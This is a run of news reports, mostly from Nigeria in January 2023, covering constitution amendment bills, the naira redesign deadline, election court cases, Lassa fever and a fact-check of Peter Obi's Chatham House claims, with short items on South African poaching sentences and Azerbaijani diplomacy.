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The Senate has transmitted 35 of the 44 Constitution amendment bills to President Muhammadu Buhari for assent.

The lawmakers, on Tuesday, directed the Clerk to the National Assembly to transmit the 35 bills  that have so far met the requirement of the provision of Section 9(2) of the Constitution  to the president for assent.

The 35 bills have been considered by 27 State Houses of Assembly (SHA) and approved by at least 24 state assemblies as required by law.

The state assemblies, however, failed to vote on the two bills that seek financial and legislative autonomy for local governments.

The Senate also urged the Gombe, Jigawa, Kebbi, Kwara, Oyo, Plateau, Sokoto, Taraba, and Zamfara assemblies, which have yet to forward their resolutions on the bills, to do so.

The resolution to transmit the 35 bills followed the deliberation on a motion sponsored by the Deputy Senate President, Ovie Omo- Agege, and 66 other senators.

Ekiti senator Opeyemi Bamidele, who presented the report, said the 27 states that have forwarded their resolutions on the bills are ~ Abia, Adamawa, Akwa-Ibom, Anambra, Bauchi, Bayelsa, Benue, Borno, Cross-River, Delta, Ebonyi and Edo States.

Others are Ekiti, Enugu, Imo, Kaduna, Kano, Katsina, Kogi, Lagos, Nasarawa, Niger, Ogun, Ondo, Osun, Rivers and Yobe States.

The 35 bills, he said, have satisfied the provisions of Section 9(2) of the Constitution, for passage into law, having been approved by not less than 24 SHAs.

Initial controversy

The National Assembly passed the 44 Constitutional Amendment bills in March 2022 and by October of the same year, Mr Omo-Agege, who chairs the Constitution Review committee, complained that only 11 SHAs considered and voted on the bills.

He said 25 other states had threatened to take no action on the bills unless four more constitution amendment bills are considered and passed by the National Assembly.

The four bills are bills to:

*Establish State Police;

*Establish State Judicial Council;

*Streamline the procedure for removing Presiding Officers of State Houses of Assembly; and,

*Institutionalise Legislative Bureaucracy in the Constitution.

Their demands were contained in a letter from the Conference of Speakers to the National Assembly Joint Committee on Constitutional Review.

Mr Omo-Agege lamented the undue interference with legislative processes by some state governors.

The governors, he said, worked tirelessly to turn the Conference of Speakers and some state assemblies into political puppets.

This interference has been ramped up, especially in opposition to the Bills granting financial and administrative autonomy to Local Governments, he complained.

Although over 24 states have now considered the bills  as required by the Constitution  they still rejected the bills seeking legislative and financial autonomy for local governments.

Below is the full list of the bills considered by the 27 states.

1. Constitution (Fifth Alteration) Bill No 3 (Change of Names of Afikpo North and Afikpo South LocalGovernment Areas (Ebonyi State); 

2. Constitution (Fifth Alteration) Bill No 4 (Change of Name of Kunchi Local Government Area (Kano State);

3. Constitution (Fifth Alteration) Bill No 5 (Change of Names of Egbado North and Egbado South Local Government Areas (Ogun State);

4. Constitution (Fifth Alteration) Bill No 7 (Correction of the name of Atigbo Local Government Area (Oyo State); . i.

5. Constitution (Fifth Alteration) Bill No 8 (Correction of Name of Obia/Akpor Local Government Area (Rivers State);

6. Constitution (Fifth Alteration) Bill No 9 (Financial autonomy of State legislatures and State Judiciary);

7. Constitution (Fifth Alteration) Bill No. 10 (Enforcement of Legislative Summon);

8. Constitution (Fifth Alteration) Bill No. 11 (Inauguration of Members-Elect);

9. Constitution (Fifth Alteration) Bill No. 21 (Deletion of reference in the Constitution to the provisions of the Criminal Code, Penal Code, Criminal Procedure Act, Criminal Procedure Code or Evidence Act);

10. Constitution (Fifth Alteration) Bill No. 22 (Provision for Intervening Events in the Computation of Tine for the Determination of Pre-Election Petitions, Election Petitions and Appeals therefrom); 

11. Constitution (Fifth Alteration) Bill No. 24 (Expansion of the Interpretation of Judicial Office);

12, Constitution (Fifth Alteration) Bill No. 25 (Appointment of Secretary of the National Judicial Council);

13. Constitution (Fifth Alteration) Bill No. 29 (Devolution of Powers (Airports));

14. Constitution (Fifth Alteration) Bill No. 30 (Devolution of Powers (Fingerprints, identification and criminal records).

15. Constitution (Fifth Alteration) Bill No. 31 (Devolution of Powers (Correctional Services).

16. Constitution (Fifth Alteration) Bill No. 32 (Devolution of Powers (Railways).

17. Constitution (Fifth Alteration) Bill No. 33 (Devolution of Powers (National Grid System);

18. Constitution (Fifth Alteration) Bill No. 39 (Power to enforce compliance of remittance of Accruals into the Federation Account and Review of Revenue Allocation Formula);

19. Constitution (Fifth Alteration) Bill No. 40 (Independence of Certain bodies);

20. Constitution (Fifth Alteration) Bill No. 41 (Removal of Transitional Law-making Powers of the Executive.

21. Constitution (Fifth Alteration) Bill No. 43 (Domestication of Treaties);

22 . Constitution (Fifth Alteration) Bill No. 44 (Timeline for the Presentation of Appropriation Bills);

23. Constitution (Fifth Alteration) Bill No. 45 (Timeframe for the Submission of the Names of Ministerial or Commissioner Nominees);

24. Constitution (Fifth Alteration) Bill No. 48 (Power to summon the President and Governors);

25. Constitution (Fifth Alteration) Bill No. 49 (Authorization of Expenditure);

26. Constitution (Fifth Alteration) Bill No. 50 (Replacement of the Consolidated Revenue Fund of the Federation with the Consolidated Revenue Fund of the Federal Government);

27. Constitution (Fifth Alteration) Bill No. 51 (Creation of the Office of Accountant-General of the Federal Government);

28. Constitution (Fifth Alteration) Bill No. 53 (Separation of the office of the Attorney-General of the Federation and of the State from the office of the Minister or Commissioner for Justice);

29. Constitution (Fifth Alteration) Bill No. 54 (State of the Nation and State of the State Address);

30. Bill No. 55 (Composition of Members of the Council of State);

31. Bill No. 57 (Restriction on Formation of Political Parties);

32. Bill No. 62 (Correction in the Definition of the Boundary of the Federal Capital Territory Abuja);

33. Constitution (Fifth Alteration) Bill No. 63 (Fundamental Human Rights);

34. Constitution (Fifth Alteration) Bill No. 65 (Food Security);

35. Constitution (Fifth Alteration) Bill No. 66 (Nigeria Security and Civil Defence Corps).

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The two chambers of the National Assembly have asked the Central Bank of Nigeria (CBN) to extend the deadline for acceptance of the old Naira notes.

The House of Representatives and the Senate in separate resolutions on Tuesday asked the CBN to extend the deadline till 31 July.

House of Representatives

The decision of the House to ask for the extension followed a motion of urgent public importance moved by Sada Soli (APC, Katsina) during plenary.

Moving the motion, Mr Soli said banking and other financial institutions are struggling to cope with the rush by citizens to change their old currencies to new notes. He said the shortage of new notes is creating panic.

Banks and POS outlets are struggling with the shortage of the redesigned new Naira notes ahead of the CBN deadline of January 31, 2023, consequently making it difficult for them to comply with the CBN directives as regards availability of the new notes for customers.

Despite several concerns and appeals by the National Assembly, the Governors Forum, the Bank Customers Association of Nigeria, and a host of other stakeholders in the country for the CBN to extend the period for the currency swap of the new Naira notes as well as review of the cashless policy, the CBN has remained adamant on the given deadline, he said.

He stated that the CBN should instead phase out the old currency within a longer period, like a year adding that the policy must get the buy-in of the people for it to work.

He informed his colleagues that traders in Katsina State have started rejecting the old notes.

Speaking in support of the motion, Ahmed Jaha (APC, Borno), said the CBN has been making efforts in Borno State to swap the old notes for new ones, however, the efforts are not enough to meet the deadline.

He stated that the activities of Boko Haram insurgents have shut down banking operations in most parts of Borno State.

I just came back from my constituency yesterday, I want to use this opportunity to commend the CBN for taking certain steps to address this issue in my constituency. As I am talking to you, CBN staff have been in my constituency since yesterday. They went there with some amount to swap the little currency with people. It is a very good move but I also realised that the amount taken there is not enough to swap the available old currency.

For the past 10 years, my constituency is (has been) operating without a single bank branch. People transact in cash, Mr Jaha said.

In his intervention, the Speaker of the House, Femi Gbajabiamila, said the House needs to interface with the heads of commercial banks to understand the real situation on the ground.

We can all agree that it is a good policy. There is a need to review the policy. I think we need to add another prayer because on one handthis is the crux of the matter, the banks are saying they dont have the money, on the other hand, CBN is saying, no, you have the money.

We need to amend and invite the bank MDs, the major ones to brief the leadership or a very small ad hoc committee. Let us find out the truth whether these new notes are available. Is it the banks or the CBN, he said.

Consequently, the House resolved to set up an ad hoc committee chaired by Alhassan Doguwa (APC, Kano), the majority leader, to interface with the banks on Wednesday and subsequently meet with the CBN.

Senate

The upper chamber has also called for the extension of the deadline following the adoption of a motion moved by Sodiq Umar (APC, Kwara), who argued that the policy is affecting the people negatively.

Speaking in support of the motion, Abiodun Olujimi (PDP, Ekiti), stated that most Nigerians have never gotten the opportunity to touch the new notes, adding that the timeline for the implementation of the policy is too short.

She said the CBN Governor, Godwin Emefiele, must look beyond the election and consider the impact of the policy.

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Sam Egwu (PDP, Ebonyi) was the only member that opposed the motion, noting that there was nothing on the ground to justify the call for an extension of time. He said the reason given by the CBN Governor is genuine enough.

While the lawmakers were deliberating on the motion, the CBN Governor announced that the bank will not go back on the decision.

Mr Emefiele made the announcement on Tuesday after the Monetary Policy Committee meeting in Abuja.

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The Independent National Electoral Commission (INEC) in Abia State has cautioned its staff members to shun sharp practices during the Permanent Voter Cards (PVCs) distribution.

The INECs Head, Public Affairs Unit in Abia, Bamidele Oyetunji, issued the warning in an interview with the News Agency of Nigeria (NAN) in Aba on Monday.

Mr Oyetunji said the commission frowns at receiving or demanding gratification from the public while performing their duties.

Our staff members do not need to search for anything on the internet. All they need to do is to give people their voter cards.

Anybody whose card is not found or those with challenges should be given a note to verify online by themselves, Mr Oyetunji said.

NAN reports that some residents of Aba have accused some INEC officials of collecting N500 from prospective voters before issuing them their cards.

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A resident, Ijeoma Bernard, said she was asked to pay N500 as a verification fee before she was given her card.

Another resident, Nwanyioma Enyinnaya, said the INEC officials refused to attend to her because she could not pay.

One resident, Iheanaetu Roseline, expressed worries that her card could not be found after the stress she passed through to get registered.

NAN reports that at Osisioma and Aba North Local Government Areas, residents turned out en masse to collect their cards.

The Abia State Government declared Monday and Tuesday public holidays to enable workers to collect their PVCs ahead of the general elections.

(NAN)

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The Appeal court sitting in Ibadan, capital of Oyo State, has reinstated Biyi Otegbeye as the Ogun State governorship candidate of the African Democratic Congress (ADC).

The court also reinstated all the 26 House of Assembly candidates of the party.

The Labour Party and the ruling All Progressives Congress (APC) had separately challenged the candidature of Mr Otegbeye and 23 others, over alleged violation of the Electoral Act.

The plaintiffs held that the primary elections of the ADC were not monitored by the Independent National Electoral Commission, INEC.

The Federal High Court in Abeokuta agreed with the APC and the Labour Party and sacked Mr Otegbeye and all the assembly members.

The party and the respondents, however, filed an appeal against the judgement of the lower court.

Sequel to the appeal, the court ordered the Independent National Electoral Commission, INEC, to enlist Mr Otegbeye and the 23 others.

The court relied on the provision of the Electoral Act which states that no member of a political party has a locus standi to question the decision of another party in the nomination of its candidate for elective positions.

Mr Otegbeye is the anointed candidate of the immediate past governor of the state, Ibikunle Amosun. Mr Amosun is the sitting senator representing Ogun Central district.

Although he is not seeking reelection under the ruling APC, he is backing Mr Otegbeye of the ADC against the reelection bid of Governor Dapo Abiodun.

Reacting to the judgement, Mr Otegbeye in a statement in Abeokuta, on Monday, described the judgement as a victory for the people of Ogun State.

He said While the appeal subsisted, we were undaunted by the schemes of our traducers and had no doubt of victory because we have fully complied with all extant provisions of the Electoral Act throughout the conduct of our primaries.

Thankfully, our prayers were granted by the Court of Appeal. Let me swiftly acknowledge the Nigerian Judiciary as the last hope of the common man. I also appreciate the Court for protecting the integrity of jurisprudence and sanctity of democratic values.

It is clear that the ruling APC have run out of ideas and the needed justification to demand the peoples mandate for a second term; hence the desperate effort, at taxpayers expense, to take us out of the ballot.

Unfortunately, they have failed and must now be ready to test their much diminished popularity and integrity at the polls.

Meanwhile, Mr Otegbeye promised to, fix Ogun State and repair the broken systems. The ADC administration will create opportunities for all classes of people, restore the glory of the Gateway State, enhance the dignity of citizens and establish a culture of collective growth and shared prosperity.

The victory at the Appeal Court today is, therefore, not just for us but for the good people of Ogun State who have been made to endure a most painful period under the governance of APC.

He urged residents of the state to collect the Permanent Voter Cards (PVCs) and be ready to exercise their democratic franchise in the February and March elections.

He further appealed to the people not to allow anyone or thing disenfranchise them, as their decisions at the poll will dictate what their living conditions will be like in the next four years.

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The Ekiti State House of Assembly has challenged the jurisdiction of the state high court to hear a suit filed by its former Speaker, Olugboyega Aribisogan, against his impeachment.

The Assembly urged the court to dismiss the suit on grounds that Mr Aribisogan failed to join the proper parties in the suit.

Mr Aribisogan was impeached on 21 November for allegedly blocking the passage of the 2022 Supplementary Appropriation Bill, disparaging the House in the media, causing disaffection among the lawmakers and compromising the security of the Assembly Complex, among other accusations.

However, he challenged the impeachment as offensive to the Constitution and the standing rules of the House.

The defendants in the suit are the Assembly, its Clerk and the new Speaker, Olubunmi Adelugba (3rd).

In their response, they filed a Notice of Preliminary Objection challenging the jurisdiction of the court to entertain the matter.

The counsel to the defendants, Rafiu Balogun, filed the notice at the Registry of the court on Monday, anchored on 11 grounds and supported by a written address.

In the notice, the defendants said the court lacks jurisdiction to entertain the case because there is no competent Originating Summons capable of being heard by the Court.

They said the failure of Mr Aribisogan to name the seven members of the Assembly he alleged to have unlawfully impeached him and join them as parties in the suit had rendered the case incompetent and also denied the court the jurisdiction to hear the matter.

They also cited his failure to join former Governor Kayode Fayemi, whom he accused of instigating the lawmakers to impeach him; the police and their commissioner in the state, the Assemblys Sergeant-at-Arms and other individuals the plaintiff described as powers that be.

They also said the Affidavit in support of the Originating Summons consisted of extraneous facts which are contrary to the provisions of Section 115 of the Evidence Act 2011 (as amended), adding that once the offending paragraphs are struck out, there is nothing to support the Originating Summons.

According to the defendants, the case as presently constituted did not disclose any cause of action or reasonable action while the Affidavit in support of the Originating Summons is bereft of salient facts to support the case of the Claimant.

They also held they the suit was at best speculative, the documents lacked the requisite particulars to sustain the case of the Claimant contrary to the provisions of Order 8 of the Ekiti State High Court (Civil Procedure) Rule 2021.

The defendants further argued in the Notice with Motion Number: HAD/74M/2023 that there cannot be a valid Originating Summons without a competent Affidavit in support, afortiori, there is no valid Originating Summons before this Honourable Court.

The criminal allegations and damning complaints formed the nucleus and substratum of the case of the Claimant, it read.

The proper parties are not before the court, which robs this Honourable Court of the requisite jurisdiction to entertain this matter as presently constituted.

We urge the Court to determine whether paragraphs in the Affidavit in support of the Originating which contain damaging/criminal complaints against some persons in authority not joined as Defendants are not liable to be struck out or discountenanced and whether this case can be determined without them being made parties, in order not to infringe on their right to fair hearing as the pronouncement of the Court will affect them.one way or the other.

The Originating Summons in the instant case is not supported with sufficient particulars and salient facts and which irregularity and non-compliance is fatal and will nullify the case. We reiterate that there is no competent Originating Summons capable of being heard by this Honourable Court.

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We submit that if the offending paragraphs are struck out, there will be no requisite facts to support the Originating Summons. In other words, the case no doubt discloses no cause of action and the Originating Summons without the supporting Affidavit containing requisite particulars incompetent and liable to be struck out

We pray Your Lordship to resolve this issue against the Claimant and strike out the suit. We urge the Court to resolve all the issues in favour of the Defendants and strike out or dismiss this case as it lacks jurisdiction or competence to entertain the matter.

The court has slated further hearing on the matter for Wednesday.

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The Federal High Court in Abuja, on Tuesday, struck out a suit filed by the Peoples Democratic Party (PDP) against the Gombe State governor, Inuwa Yahaya, over his reelection bid.

In the suit, the PDP had prayed to the judge, Binta Nyako, to invalidate Mr Yahayas candidacy as the All Progressives Congress (APC) governorship flagbearer for the 11 March election.

Delivering a ruling on the case, Mrs Nyako struck out PDPs forgery allegation against Mr Yahaya on the grounds that the court lacked jurisdiction to entertain the suit.

But the judge said the plaintiffs could raise the issue at another judicial forum.

Background

The PDP and two of its stalwarts, Muhammed Barde and Timothy Danlele, had filed the suit accusing Mr Yahaya of submitting forged documents to the Independent National Electoral Commission (INEC) in preparation for the governorship poll.

The plaintiffs named INEC, the APC and Mr Yahaya as defendants in the suit.

The plaintiffs lawyer, Johnson Usman, a Senior Advocate of Nigeria (SAN), had informed the court that Mr Yahaya lied on oath in his filings submitted to the electoral umpire.

Mr Usman said the governor while vying for election in 2019, had in Form CF001 he submitted to INEC, claimed he worked with A.Y.U & Co Ltd from1980-1990, but, in the Form EC-9 which Mr Yahaya submitted to seek re-election, he said he worked at the same firm from 1985 to 2003.

The lawyer contended that the governor was inconsistent in the depositions he made on oath.

He said Mr Yahaya should be disqualified from contesting the forthcoming governorship election in Gombe State.

Referencing the constitution and the ElectoralAct, Mr Usman said, That the 3rd defendant (Mr Yahaya) having submitted forged documents to the 1st defendant in his INEC form EC-9 in 2022 is not qualified to contest the governorship election of Gombe State.

The plaintiffs lawyer had urged the court to compel INEC to remove Mr Yahayas name from the list of genuine candidates for the governorship poll.

APCs defence

But, the APC and Mr Yahaya said the suit was incompetent.

The defendants through their lawyer, Marshall Abubakar, urged the court to dismiss the case for lack of jurisdiction.

He contended that the plaintiffs lacked the right to file a suit challenging the nomination of a candidate of another political party.

Mr Abubakar informed the court that the PDP could not prove any cause of action against Mr Yahaya and the APC.

The defendants lawyer argued that the plaintiffs suit had become statute-barred, having been filed outside of the statutory 14 days after INEC published Mr Yahayas name as flagbearer of the APC for the poll.

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South Africa: SANParks welcomes sentencing of poachers

Management at the South African National Parks (SANParks) has welcomed the sentences handed down by the Skukuza Regional Court to two Mozambican nationals convicted of rhino poaching in the Kruger National Park (KNP).

Lucky Shihlangu, 33, and Sergio Mathebula, 32, we found guilty and sentenced to a total of 22 years but will serve 18 years effectively. They faced six charges related to the case and were found guilty on all six charges.

Field rangers in the Malelane Section of the KNP arrested the two on 21 September 2022. Rangers began searching for the pair after shots were heard and a fresh rhino carcass was discovered nearby.

The pursuit of the suspects resulted in the two poachers being discovered, and they were found in possession of a heavy calibre hunting rifle, live ammunition and two fresh rhino horns.

The State led evidence that linked the rifle and the horns to the carcass that was discovered nearby.

The Managing Executive of the KNP, Oscar Mthimkhulu, congratulated everyone who contributed to the arrest and conviction.

We are glad to have removed a pair of criminals and poaching equipment from the system. We know there are big role players who still need to come to trial and hope they too will face the might of the law like their ground troops.

Collaboration between all law enforcement agencies is important for us to get on top of the situation.

The recent arrests, convictions and sentences should serve as a warning to criminals that we are serious about protecting our natural heritage and will continue in memory of our colleagues, who paid the ultimate price in their work, Mthimkhulu said.

The Skukuza Regional Court has had a 100% conviction rate since the beginning of the year and has vowed to continue to convict anyone who hunts illegally in a national park.  SAnews.gov.za

This story has been published on: 2023-01-24. To contact the author, please use the contact details within the article.
By Azernews

Fatima Hasanova

On January 24, Azerbaijani Foreign Minister Jeyhun Bayramov attended the 26th meeting of the Council of Ministers of the member countries of the Economic Cooperation Organization conference in Uzbekistan, Azernews reports, citing the ministry.

During his speech, the minister stressed the importance of the measures taken toward the creation of a transport corridor from the Eastern Zangazur economic region of Azerbaijan to the Nakhchivan Autonomous Republic.

"The Zangazur corridor will be especially important for the growth of cooperation between the nations in the entire region," the Azerbaijani foreign minister said.

The Tashkent communique, which was adopted following the meeting, expressed support for the settlement of interstate relations between Azerbaijan and Armenia on the basis of mutual recognition and respect for territorial integrity and sovereignty. Confidence was expressed that this would contribute to the establishment of good neighborly relations in the region, sustainable peace, and economic progress.

At the meeting, the chairmanship of the Economic Cooperation Organization was officially handed over to Azerbaijan.
President Muhammadu Buhari on Monday inaugurated a 32-metric tonnes per hour Lagos Rice Mill in Imota, Ikorodu, a suburb of Lagos, saying the mill will support the rice revolution in Nigeria.

The News Agency of Nigeria (NAN) reports that the Lagos Rice Mill, Imota is a two x 16 metric tonnes per-hour mill standing on an area of 8.5 hectares of land.

The project has an annual paddy requirement of over 240,000 metric tonnes to produce 2.5 million 5OKg bags of rice per annum.

Mr Buhari, who landed in Imota around 5:30 p.m., took a brief tour of the mill in company of Governor Babajide Sanwo-Olu, a Lagos senator, Tokunbo Abiru; the Chairman, All Progressives Congress (APC), Lagos State, Corlenious Ojelabi, and the APC Presidential Campaign Committee Chairman, Lagos, Ganiyu Solomon.

Other dignitaries who accompanied the president include the Commissioner for Agriculture, Abisola Olusanya, the Special Adviser to the governor on Rice Initiative, Rotimi Fashola; NiDCOM boss, Abike Dabiri-Erewa and traditional rulers Jimi Benson and Oba Gbolahan Lawal.

The president unveiled the rice project and observed a brief display of how it is being produced and packaged.

Speaking at the event, Mr Sanwo-Olu said Lagos was ready to support Mr Buharis rice revolution.

According to him, the Lagos Imota Rice Mill is part of President Muhammadu Buharis agricultural revolution.

When he started his government, he said Nigeria must grow what they eat and they should eat what they grow.

We are happy that Lagos is the testament for that. With 2.5 million bags of 50kg rice per annum, Lagos is ready to support the rice and food revolution in Nigeria.

The two units rice mill will create close to 250,000 direct and indirect jobs. We want to thank the local communities of Imota in Ikorodu. We thank you all for waiting patiently.

Mr president is indeed excited that we have stated another first in Nigeria and in sub-Saharan Africa, he said.

Also speaking, Mrs Olusanya said the mill would produce wholesome rice to Lagos residents at an affordable price.

Also, Mr Fashola said the mill would perform cleaning, boiling, drying, sorting, hauling, polishing and bagging of rice using digital, automated and the latest machine in the world.

In his contribution, the Chairman, All Farmers Association of Nigeria (AFAN), Lagos State and South-West Zone, Femi Oke, commended the state government for the initiative.

Mr Oke said that farmers would continue to support the mill by providing more paddies.

Raphael Hunsa, the Chairman, Rice Farmers Association of Nigeria, Lagos State chapter, said the new rice mill would encourage farmers to produce more in the state.

Mr Hunsa urged the state government to continue to empower farmers with implements in order to increase paddy production to feed the mill.

This project is very wonderful, it is a thing of joy to us as rice farmers in Lagos. I am happy that such a thing is happening in Lagos, he said.

Meanwhile, traditional rulers in the state applauded the state government for the completion and inauguration of the mill in Imota community, Ikorodu.

Speaking at the event, the traditional rulers described the project as a landmark achievement.

The traditional rulers are Oba Kabir Shotobi, the Ayangbure of Ikorodu; Oba Ajibade Agoro, the traditional ruler of Imota and Oba Omogbolahan Lawal, the Oniru of Iruland.

Mr Shotobi, commended both the federal and state governments for siting the rice mill in Imota and promised that the project would be maintained by the community.

He said the rice mill would bring enormous economic opportunities to the community and jobs for the teeming youths in the area.

According to him, the rice mill will bring great opportunities to Imota, especially in employment.

I urge our youth to stop searching for white collar jobs but focus on agriculture or study agriculture to increase the countrys food chain, he said.

Also, the host traditional ruler of Imota, Oba Ajibade Agoro, said the project would boost the commercial and economic development of the Imota community.

He commended Governor Sanwo-Olu for initiating and seeing to the completion of the rice mill, saying that the facility would have a multiplier positive effect on the community.

I am the happiest man on earth today because it was during my reign as the Oba of Imota that this is happening.

I am 30 years on the throne and I am going to celebrate it with this inauguration because it is a landmark achievement bestowed on the people of Imota during my tenure.

This plant will bring about those factors of production that will promote commercial and economic development.

This mill is projected to create up to 250,000 jobs, just imagine the multiplying effect of such a number if added to our community with their dependents, Agoro said.

Also speaking, Oba Lawal, the Oniru of Iru land, commended the Lagos State Government for being the first state to have a state owned mill and the host community for providing the land.

He noted that the rice project which was first initiated as Eko Rice had contributed immensely to the states growth and provided jobs through the rice value chain right from production to milling and transportation.

I am very happy about this development. I remember 2011 to 2012, when the Eko Rice started, it was 2.5 metric tonnes capacity.

We are able to create a lot of jobs through the rice value chain.

Today, we are on eight hectares of land optimally utilised and the number of jobs it will create is awesome, this is the biggest in West Africa, Oniru said.

NAN reports that state government officials, traditional rulers, members of AFAN, Ogbonge Women Farmers Association, Rice Farmers Association of Nigeria and secondary school students are among the dignitaries that graced the occasion.

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Edo State Government said on Monday that the state had recorded one more death and eight new cases of Lassa fever in the last 24 hours.

Commissioner for Health, Akoria Obehi, made the disclosure in a statement made available to reporters on Monday in Benin.

Ms Obehi, a professor, said the new cases were recorded in Etsako West, Esan North East, Esan West and Egor local government areas.

Edo State has recorded eight new cases of Lassa fever, raising the total number of cases in the state to 96.

We also confirmed a new death from the disease, raising the fatality figure to nine, with a case fatality rate of nine per cent.

So far, four deaths have been recorded in Etsako West and two in Esan North East, while Etsako East, Oredo, and Esan West LGAs have confirmed one death each from the disease, she said.

Lamenting the community spread of the disease, the commissioner said that Etsako West LGA was the most affected by the disease in the state, with 37 confirmed cases and four deaths.

This, she said, was followed by Esan West LGA and Esan North East LGA, with 24 and 19 confirmed cases respectively.

According to Ms Obehi, 42 people, including 30 adults and 12 children, are currently on admission at Irrua Specialist Teaching Hospital, adding that they are responding to treatment.

She expressed concerns that the state had continued to record a steady rise in the number of confirmed cases and fatalities across some local government areas.

READ ALSO:

While calling for the cooperation and support of residents to stop the spread of Lassa fever in the state, the commissioner reiterated the need for them to observe preventive measures against the spread of the disease.

She, however, reassured residents of the governments commitment to containing the epidemic.

While government is implementing a number of measures to prevent the spread of the disease, we urge everyone to support this administrations efforts at curbing the spread of Lassa fever by complying with guidelines to stay healthy and safe.

Wash your hands frequently with soap and water; avoid contact with rats urine or faeces; avoid consuming contaminated food or water.

You must also seek medical attention immediately if you experience any symptom of Lassa fever, such as fever, headache, muscle pain and weakness, she said.

(NAN)

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Peter Obi, the Labour Party presidential candidate, delivered a presentation on Monday, 16 January 2023, at Chatham House in the United Kingdom (UK), speaking on how he intends to govern Nigeria if elected as president in next months election.

Themed Nigerias 2023 elections: A vision for policy change and institutional reforms, Mr Obi spoke and answered questions on issues ranging from poverty, education, economy, energy, oil and gas, insecurity, and restructuring.

The former governor of Anambra State has come top in at least three opinion polls on the presidential election.

This fact-check examines ten claims made by Mr Obi in his speech at the Chatham House London.

Claim 1

Claim: Labour Party presidential candidate claimed that apart from Venezuela, Nigeria is the only OPEC nation not meeting its Quota.

Verification: Latest data obtained from the Organisation of the Petroleum Exporting Countries (OPEC) shows that from September to December 2022, none of the OPEC member countries met its production quota. The OPEC member countries are Algeria, Angola, Congo, Equatorial Guinea, Gabon, Iran, Iraq, Kuwait, Libya, Nigeria, Saudi Arabia, United Arab Emirates (UAE), and Venezuela.

Verdict: False.

Source: OPEC production data and monthly oil market report.

Claim 2

Claim: Nigerias average life expectancy is about 50-something years, and the global average is 72 years.

Verification: World Banks latest (2020) data on life expectancy show that Nigerias average life expectancy is 55 years, and the global average is 72.9 years. Similarly, the United Nations World Population Prospects (UN WPP) report shows that life expectancy is 72 years.

Verdict: True

Source: World Bank, UN WPP

Claim 3:

Claim: 63 per cent of Nigerians are poor.

Verification: Last November, the Federal Government of Nigeria, through the National Bureau of Statistics, published the results of the 2022 Multidimensional Poverty Index (MPI) Survey, saying 63 per cent of Nigerians (133 million people) are multidimensionally poor.

Verdict: True

Source: National Bureau of Statistics (NBS).

Claim 4:

Claim: Nigeria has about 60 per cent of youth unemployment.

Verification: The latest data on the NBS dashboard shows that Nigeria has 42.5 per cent youth unemployment.

Verdict: False

Source: National Bureau of Statistics

READ ALSO:

Claim 5:

Claim: Peter Obi claimed he was awarded the Best governor in Millenium Development Goals (MDGs).

Verification: Reports show that in August 2014, Mr Obi won the award for Mainstreaming the MDGs into Anambra State Development Agenda, 2006-2014. The award was presented to him at a Presidential Summit in Transcorp Nicon Hotel, Abuja.

Verdict: True

Source: Daily Independent and Vanguard

Claim 6:

Claim: There are 20 million out-of-school children in Northern Nigeria.

Verification: The total number of out-of-school children in Nigeria is estimated at 20 million, according to the latest global data on out-of-school children published in September 2022 by the United Nations Educational, Scientific, and Cultural Organisation (UNESCO). Therefore, Mr Obis claim that northern Nigeria accounts for 20 million out-of-school children in the country is false.

Verdict: False

Source: UNESCO Global Education Monitoring Report (GEM) and Premium Times report.

Claim 7:

Claim: Seven local governments of Niger State are under the control of bandits.

Verification: Last year, the Niger State Governor, Abubakar Bello, revealed that seven out of the 25 local governments in the state are frequently under attack by bandits and terrorists. Multiple newspapers also reported that seven local governments of Niger state are under constant attack by bandits.

Verdict: True

Source: Thisday and The Punch newspaper

Claim 8:

Claim: Nigerias Gross Domestic Product (GDP) per capita in 2015 was $2,550

Verification: A review of World Banks data shows that Nigerias GDP per capita in 2015 stood at $2,679, contradicting Mr Obis claim.

Verdict: False

Source: World Bank

Claim 9

Claim: Nigerias total health budget was below N2.5 trillion from 2015  2021

Verification: A review of Nigerias health budget from 2015  2021 shows that the federal government allocated N2.50 trillion to the health sector.

Verdict: Inaccurate

Source: Budget office of the Federation, Premium Times, and The Punch newspaper

Claim 10:

Claim: As of 2015, Nigerias total debt stock is about N15 trillion. But today (January 2023), with CBN ways and means, we owe over N75 trillion. Mr Obi claimed.

Verification: Nigerias public debt in December 2015 stood at N12.6 trillion, according to official data from Nigerias Debt Management Office. By September 2022, the Nigerian governments domestic and foreign debts rose to N44 trillion. On the other hand, the CBNs loans to the federal government stood at N23.8 trillion cumulatively. Therefore, Nigerias total debt combined with CBNs loans is N67.8 trillion, not over N75 trillion, as claimed by Mr Obi.

Verdict: False

Source: Debt Management Office and Premium Times.

The researcher produced this fact-check per the Dubawa 2023 Kwame Karikari Fellowship partnership with Premium Times to facilitate the ethos of truth in journalism and enhance media literacy in the country.

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Kingsley Kanu, the younger brother of the leader of the outlawed Indigenous People of Biafra (IPOB), Nnamdi Kanu, has dismissed his alleged suspension by the leadership of the group.

Mr Kingsley said on Monday that he remains a bona fide member of the organisation.

Collins Chinedu, said to be the national coordinator of IPOB for Germany, signed the suspension order.

A statement on Sunday night announcing Mr Kingsleys suspension accused him of insubordination to IPOB leadership, forming a parallel leadership in Germany and flouting the groups code of conduct.

Mr Kingsley was accused of imposing and parading an expelled IPOB member, Mr Ogbenna Abraham as the new National Coordinator for Germany with the sole intent to cause division within the existing structure in Germany.

Kingsley reacts

Mr Kingsley in a reaction through his social media handles said Mr Chinedu who signed the suspension order lacks the power to sack him as he (Chinedu) had since been removed as the national coordinator of the group for Germany by the IPOB leader, Mr Kanu.

I am born for a day like this, Kanunta Kanu is very much around, he said.

Posting a screenshot of a tweet by Mr Kanus lawyers, Alloy Ejimakor, Mr Kingsley, popularly known as Kanunta, said his brother, Mr Kanu had issued a directive to the leadership of IPOB last year from detention through his lawyers to remove Mr Chinedu and replace him with Ogbenna Abraham.

This is to inform the general public that Mr Collins Chinedu was officially expelled from IPOB family Germany by Mazi Nnamdi Kanu on 28:11:2022 through Aloy Ejimakor. And his successor is Mazi Ogbonna Abraham, he said.

Checks on Mr Ejimakors Twitter page shows that the lawyer, after a visit to Mr Kanu in November last year, actually announced the IPOB leaders directive to IPOB Director of State Affairs, Chika Edoziem to appoint Mr Abraham as the new interim coordinator for Germany.

Today, I had a visitation with Onyendu and he asked me to make it public that he had asked one of his lawyers to do a memo to Mazi Chika Edoziem to announce Ogbonna Abraham as the new Interim Coordinator for Germany; and that Edoziem and the lawyer who did the Memo can confirm this, Mr Ejimakor wrote on Twitter.

Mr Kingsley, in another statement, accused the Directorate of State Affairs (DOS) of flouting Mr Kanus orders, which is why he (Kingsley) was having issues with them.

